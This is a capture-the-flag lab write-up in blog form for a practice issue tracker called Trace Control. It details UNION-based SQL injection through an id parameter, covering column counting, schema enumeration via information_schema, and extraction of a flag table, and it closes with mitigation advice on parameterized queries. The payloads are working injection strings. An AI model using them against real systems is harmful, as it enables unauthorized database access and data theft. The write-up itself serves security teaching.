Post

SQL Injection via Issue Identifier Parameter | Trace Control

SQL Injection via Issue Identifier Parameter | Trace Control

Lab: Trace Control


Overview

Trace Control is an internal issue tracking platform used by a small platform engineering team. The application exposes issue records through a numeric identifier passed in the URL.

During testing, the issue identifier parameter was found to be directly incorporated into a backend SQL query without proper parameterization. By manipulating the id parameter, it was possible to inject arbitrary SQL statements into the database query.

Using UNION-based SQL Injection, the underlying MariaDB database could be enumerated, internal tables discovered, and sensitive information extracted.


Objective

Exploit the vulnerable issue identifier parameter to enumerate the database and retrieve the flag stored within an internal administrative table.


Vulnerability Identification

Classification Hierarchy

1
2
3
4
A05 - Injection
└── SQL Injection
    └── UNION-Based SQL Injection
        └── Database Enumeration and Data Extraction

Reconnaissance

The application displays issue records through the following endpoint:

1
https://55b5d360-4065-trace-control-02771.challenges.webverselabs-pro.com/issues.php?id=1

The id parameter appears to control which issue is retrieved.

Because the parameter is numeric and directly influences backend database queries, it becomes a potential SQL Injection target.


Confirming SQL Injection

Initial testing used a classic SQL Injection payload:

1
' or 1=1-- -

URL encoded:

1
1%27+or+1%3d1--+-

Request:

1
/issues.php?id=1%27+or+1%3d1--+-

Response:

1
SQL error: SQLSTATE[42000]: Syntax error or access violation: 1064

The resulting database error confirms that user input reaches the SQL interpreter.

Because the application appears to inject the parameter into a numeric context, a quote-less payload is more appropriate.

Payload:

1
or 1=1-- -

This confirms the presence of SQL Injection.


Determining Column Count

To perform a UNION-based attack, the number of columns in the original query must be identified.

Testing with:

1
order by 8-- -

indicates that the query contains eight columns.


Building a UNION Query

A standard UNION test is performed:

1
1 UNION SELECT 1,2,3,4,5,6,7,8--

However, the application’s original query still returns legitimate data, making the injected row difficult to observe.

A common technique is to force the original query to return no rows.

Using:

1
-1 UNION SELECT 1,2,3,4,5,6,7,8--

ensures that only the UNION result is rendered.

Request:

1
GET /issues.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8--

The injected values become visible in the response, confirming successful UNION-based SQL Injection.


Identifying the Database

Replace one visible column with the database function:

1
database()

Request:

1
GET /issues.php?id=-1+UNION+SELECT+1,2,3,database(),5,6,7,8--

Response:

1
chalapp

Current database:

1
chalapp

Enumerating Tables

The next step is enumerating tables from the current database using information_schema.

Payload:

1
2
3
4
5
6
7
8
9
10
11
-1 UNION SELECT
1,
2,
group_concat(table_name),
4,
5,
6,
7,
8
FROM information_schema.tables
WHERE table_schema=database()--

Request:

1
/issues.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()-- -

Response:

1
2
3
4
projects
comments
admin_flags
issues

Interesting table:

1
admin_flags

Enumerating Columns

Attempting a direct query initially fails.

A scalar subquery is used instead:

1
2
3
4
5
6
7
8
9
10
11
12
13
-1 UNION SELECT
1,
2,
(
 SELECT group_concat(column_name)
 FROM information_schema.columns
 WHERE table_name='admin_flags'
),
4,
5,
6,
7,
8--

Request:

1
/issues.php?id=-1 UNION SELECT 1,2,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='admin_flags'),4,5,6,7,8--

Response:

1
id,flag

The table contains:

1
2
id
flag

Extracting the Flag

The final payload retrieves data from the flag column.

1
2
3
4
5
6
7
8
9
10
11
12
-1 UNION SELECT
1,
2,
(
 SELECT group_concat(flag)
 FROM admin_flags
),
4,
5,
6,
7,
8--

Request:

1
/issues.php?id=-1 UNION SELECT 1,2,(SELECT group_concat(flag) FROM admin_flags),4,5,6,7,8--

Response:

1
WEBVERSE{.....}

Flag

1
WEBVERSE{.....}

Proof of Exploitation

Database identification:

1
database()

Result:

1
chalapp

Table enumeration:

1
information_schema.tables

Result:

1
2
3
4
projects
comments
admin_flags
issues

Column enumeration:

1
information_schema.columns

Result:

1
id,flag

Sensitive data extraction:

1
SELECT group_concat(flag) FROM admin_flags

Result:

1
WEBVERSE{.....}

Root Cause Analysis

The application concatenates user-controlled input directly into a SQL query.

A vulnerable implementation would resemble:

1
$query = "SELECT * FROM issues WHERE id = " . $_GET['id'];

Because the parameter is inserted directly into the SQL statement, attackers can alter query logic and execute arbitrary SQL operations.

The absence of parameterized queries allows:

  • Authentication bypass
  • Data extraction
  • Database enumeration
  • Administrative data disclosure

Impact

An attacker can:

  • Read arbitrary database records
  • Enumerate schemas and tables
  • Access sensitive internal information
  • Bypass application logic
  • Extract credentials and secrets

In real-world environments, SQL Injection frequently leads to complete database compromise.


Mitigation

Use Parameterized Queries

Instead of:

1
$query = "SELECT * FROM issues WHERE id = $id";

Use:

1
2
$stmt = $pdo->prepare("SELECT * FROM issues WHERE id = ?");
$stmt->execute([$id]);

Enforce Strict Input Validation

The id parameter should only accept integers.

Restrict Database Permissions

Application accounts should not have unnecessary access to metadata tables.

Disable Detailed SQL Errors

Production systems should never expose database error messages to users.

Implement Defense in Depth

Combine:

  • Prepared statements
  • Input validation
  • Least privilege
  • Error handling

for effective SQL Injection prevention.


Real-World Insight

UNION-based SQL Injection remains one of the most effective techniques for database compromise because it allows attackers to merge arbitrary query results into legitimate application responses.

Common attacker objectives include:

1
2
3
4
5
Database enumeration
Table discovery
Credential theft
Administrative data extraction
Application secret disclosure

The Trace Control challenge demonstrates a fundamental security principle:

Any user input that reaches a SQL query without parameterization becomes part of the query itself.

This post is licensed under CC BY 4.0 by the author.